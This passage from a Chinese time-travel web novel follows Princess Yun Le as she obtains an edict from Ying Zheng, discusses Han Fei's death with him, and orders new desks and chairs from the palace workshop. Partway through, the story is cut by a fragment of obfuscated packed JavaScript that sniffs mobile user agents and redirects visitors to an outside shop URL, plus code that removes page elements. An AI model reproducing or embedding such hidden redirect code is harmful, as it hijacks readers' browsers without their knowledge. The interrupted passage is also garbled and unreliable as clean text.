王失悔,为时已晚。 与此同时,云乐的系统在后台疯狂刷新。 【检测到能量摄入百分之十。】 【提示,能量损耗过高,建议深度绑定。】 【强制性深度绑定中……】 【警告,能量不足!警告,能量不足!】 【强制性深度绑定失败!】 【正在计算强制深度绑定所需能量……】 【强制性深度绑定所需能量摄入进度:3.7%】 11. 日常 云乐听到韩非逝世的消息后叹息一声。 这可真是,想杀的人没杀成,想救的人也没救成。 历史按照原有的轨迹往前走去,甚至和史书记载没有什么变化。 思索片刻,她呼叫出系统界面,却发现能量获取进度没有一丝上涨。 是因为没有改变历史所以没有能量获取吗?还是说,历史根本无法改变? 不可能,若是我无法改变历史,系统的任务设置就不会是推动科技发展,文明进步了。 那我……要不要试探一下呢? 先秦时期,在云乐眼里是一片迷雾,她不知道原来的历史如何,唯一能确定的史实只有公元前221年,秦始皇统一六国这种重大历史事件,再往前,也只有秦灭六国的顺序。 云乐盘坐在蒲团上,双手托腮,撅起嘴顶住毛笔,掉下,捡起,放回去,掉下,捡起…… 她突然顿住了。 “阿锦!我们去工室!”云乐一边呼唤着贴身侍婢,一边风风火火地向外跑去。 “公主。” 工室不在那儿! 阿锦赶忙跟上,却没有叫住走得飞快的云乐。 “砰!” 两个孩子撞在了一起。 摔懵了。 后头的侍人大惊失色,连忙围上来询问情况。 云乐抬头一看,发现华阳正吃痛地捂住下巴,整个人还坐在地上,显然是被云乐撞倒了。 “!”云乐扫开围着的侍人,向华阳那边跑去。 “阿姊……”她上前扶起华阳,拍了拍她的衣服,再围着转几圈看看有没有脏污或者破损。 “我没事,阿乐如此匆忙,是要往哪儿去?” “我想去少府。” “?”华阳迟疑地确认:“少府?” 云乐还在检查华阳有没有受伤,就听见两道声音一同响起。 “可是少府不在此处。” “公主!你走反了!” 阿锦终于追上了云乐。 华阳抓住云乐的肩膀,把她转了半圈,指着云乐的来时路说:“少府在那边。” 云乐乃大惊,真走反了! 看着华阳通红的下巴,云乐担忧自己的铁头不小心把华阳的牙齿撞坏了,干脆拉起华阳:“那正好,阿姊与我同去,让侍医看看你的伤。” 路上,华阳其实已经没什么痛感了,她看向难得如此活泼的云乐,不禁好奇:“阿乐去少府是想要做什么?” “我想改一改我的木案,跪坐实在太不舒服了。” “不是有支踵吗?” “那也很难受,我坐不住。” 华阳虽然对云乐的想法似懂非懂,但却很清楚咸阳宫的规矩,她拉住云乐:“那阿乐不应该去少府。” “少府不就是负责我们衣食住行的地方吗?” “虽是如此,但事实上少府直属父王,一切逾制、超例之物,都应向父王报备,得到准许后,少府才会动工。” 华阳似乎看出了云乐对于宫规知之甚少,干脆借此机会向她普及了整个咸阳宫的规矩和运作模式。 层级分明,井井有条,就是…… 为什么最终都听命于秦王啊? 这就是始皇帝的能力吗,朝廷宫廷两手抓? “本不应如此,但宫中并无王后,祖母又……”华阳对此讳莫如深,并不深入。 但是云乐明白了,感情是迫不得已啊,始皇也太难了吧,这工作量,简直肝上长了个人,有这种毅力,怪不得最后能统一六国呢。 “可是我只想改改我的书案,应当不逾制吧?” “这你就不懂了。”华阳露出了狐狸笑:“父王事务繁忙,无暇理会琐事,而少府也不可能为了你的一点要求向父王提出申请。” “那不是正好吗?顺手就帮我做了。” “不,所以少府会借机回绝你。” “……”云乐恍然,感情在大秦大家也都是想着多一事不如少一事,能推就推啊。 “所以,你得先去找父王。”华阳自当初云乐轻微点拨后,就开始无师自通,开始试探借助秦王的宠爱和权利自己究竟能在咸阳宫中做到什么程度了。 结果非常美妙,是故她并不吝啬指点云乐。 “父王大概率不会在乎你究竟要少府做什么,但他会为了避免后续纷扰,直接给你一道手诏。” 云乐悟了。 她看看华阳,华阳会意:“阿乐自去便是,我早已经无碍了。” 哦天哪,我善解人意的大姐姐。 云乐转道往章台宫去,身后,是生怕又一次跟丢的阿锦。 嬴政仿佛一个固定刷新的NPC,一般情况下,只要往章台宫去就能一找一个准,云乐甚至怀疑过他是不是根本不出章台宫,后来一想,不对呀,第一次见到始皇可是在学室。 这么偶然的状况都能被自己碰上,真是活该自己年纪轻轻重启高中生涯。 云乐为自己拘了一把辛酸泪。 她潇洒地跨过门槛径直向嬴政走去。 当然,在嬴政眼里则是一个小孩“Duang”得一下坐在门槛上,然后把脚挨个放进殿里,再起身往自己这里跑来。 其实他有一阵没见云乐了,一方面是自己到底失了赌约,没有遵守约定,有点心虚,另一方面则是韩非死后,他一直在计划灭韩,朝事繁忙,抽不出空搭理孩子。 倒是没想到她自己跑来了。 是来指责自己不守承诺的吗? 嬴政在心里想了好几种应对女儿指责的应对方式。 “阿父,女儿想让少府做点东西,能不能给我一道手谕呀?” 熟悉的撒娇,熟悉的眨眼,熟悉的……被抓住衣摆的感觉。 不应该是来指责我不守信用,不顾承诺的吗? 就这? 嬴政有点如鲠在喉:“你要少府做什么?” “女儿想改改自己的书案,如今的书案坐着腰酸背痛的。”云乐撇了撇嘴,说好的不问缘由直接给手谕呢,怎么到我这就不一样了。 “胡说八道,你一个小孩子哪儿来的腰?”嬴政下意识说了一嘴,又好像不甘心一样继续问:“就要一道手谕?” “还可以要很多道手谕吗?”云乐期待。 “不行。”嬴政梗住。 随后就吩咐侍人去少府传话,让他们听从云乐吩咐,往后她若还想要干什么,直接做就是,不必向他禀告。 “谢谢阿父!爱你!”云乐踮起脚尖,啪唧一口亲在了嬴政脸颊上。 嬴政内心暗爽,但是嬴政不说,他说:“成何体统。” 云乐瘪嘴,明明口嫌体正直,刚刚那么阴沉的脸色,现在都多云转晴了。 她想着嬴政政务繁忙,不再打扰,想要告退。 又被嬴政一把拽住了领子。 旧日重现,不会又要我在这里写作业吧,这种事情不要啊! “没别的想说了吗?” “还有别的什么?”云乐疑惑。 嬴政咳嗽两声提醒:“韩非。” 云乐惊讶:“原来廷尉没有告诉阿父吗?” 嬴政疑惑。 “女儿托廷尉给公子非带了封信。” 嬴政是真的不知道这件事,从他决定让韩非死的那一刻,他就没再过问韩非之事。 李斯体贴上意,必然明白他想做什么。 “而且,我早就猜到了。不是廷尉嫉妒公子非才华,设计陷害杀死了他。”云乐看向嬴政:“是阿父对公子非起了杀心,所以廷尉替您杀了他。” “……”嬴政沉默不语。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135682|196263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云乐眼里没有对嬴政的害怕和失望,只有对自己早就猜出真相的自得和骄傲。 “是不是这样!” “……是。”嬴政难得有点心虚。 但是做了就是做了,即使会让云乐愤怒伤心,他不后悔。 本来嬴政是想使计让姚贾杀了韩非,如此以来,既能赢得和云乐的赌约,又能杀了韩非。 但是转念一想,他又不屑于做出如此行径。 “韩非心向韩国,此次出使意在弱秦,寡人不能忍。” 我的老天奶! 他好坦诚! “阿父,你真是一个……”云乐突然想不出形容词了,憋了半天憋出一句:“一个实诚人。” “居然就这么直白地告诉我了。”云乐低声感慨。 啊?这都什么乱七八糟的。 我,秦王政,实诚人。 这一回轮到嬴政啼笑皆非了。 “身为秦王,您完全可以隐瞒我公子非死亡的真相,但是您没有。”云乐解释:“身为父亲,您向我解释了您如此做的原因,而不是敷衍我。” 云乐笑了起来:“阿父,您真的是一个很真诚,很好的人。” 如果云乐先碰见的是韩非,说不定她此刻会愤怒,会仇恨。 但现实是,她先遇到了始皇,而爱上他简直易如反掌。 嬴政也笑了,他摸了摸云乐的发髻:“有子如云乐,是寡人之幸。” 多少年了,终于有一个家人站在了自己这一边。 他不想辜负这样的真心。 “寡人向你保证,这是第一次,也是最后一次。” “好哦,那阿父要记得,若是发现了赵高的不法,一定不要被他的花言巧语所迷惑,直接杀了好不好。” 云乐一脸天真地说出了残暴的话。 “……”嬴政迟疑。 她是不是不知道赵高已经死了啊。 嬴政回忆了一下,确实没有跟她说。 “赵高私碰秦王玺印,已被寡人处死。” “!”今天是个好日子! 云乐眼里没有一丝生命逝去的感伤,只有赵高居然已经死了的高兴。 “不是要去少府吗?快去吧。” 嬴政一看云乐的表情就知道她在想什么,赶紧摆摆手让她自己玩儿去了。 赵高怎么样不重要,重要的是再被云乐缠着,自己今晚就要熬夜处理政务了。 在这一刻,这对便宜父女终于是跌跌撞撞地走进了彼此的心里。 云乐走了几步,又回过头来抱了抱嬴政:“我知道阿父的抱负,所以我理解您的选择。” 所以我从来没有怪过你。 “知道了。” 蝉鸣声滋儿哇滋儿哇地叫着,仿佛也在为嬴政高兴。 少府,工室。 工室令仔细记录着云乐的要求,待云乐描述完了轻松一笑,恭敬地说:“公主放心,三日内即可奉至兰绮宫。” 或许一个人只要当了资本家,就会变得面目丑恶,见不得人闲,比如云乐。 见工室令轻轻松松的样子,她补充道:“兰绮宫的不急,你先打个七套放学室里,要契合我们的身高。” “诺。” “哦还有,我还想要个躺椅。”既然来了,云乐干脆把能想到的都说了:“这个是这样的……” 工室令觉得不是这么轻松了。 他擦了擦汗,咬牙应了。 “这个也做七个,往父王那也递一个过去,算了,桌椅也给父王来一套。”接着,云乐按照自己的审美巴拉巴拉提出一堆要求:“你先出个设计图稿给我看看,可以了再做。” “诺……设计图稿下官一日后奉至兰绮宫。” 云乐神清气爽地应了。 当甲方,爽!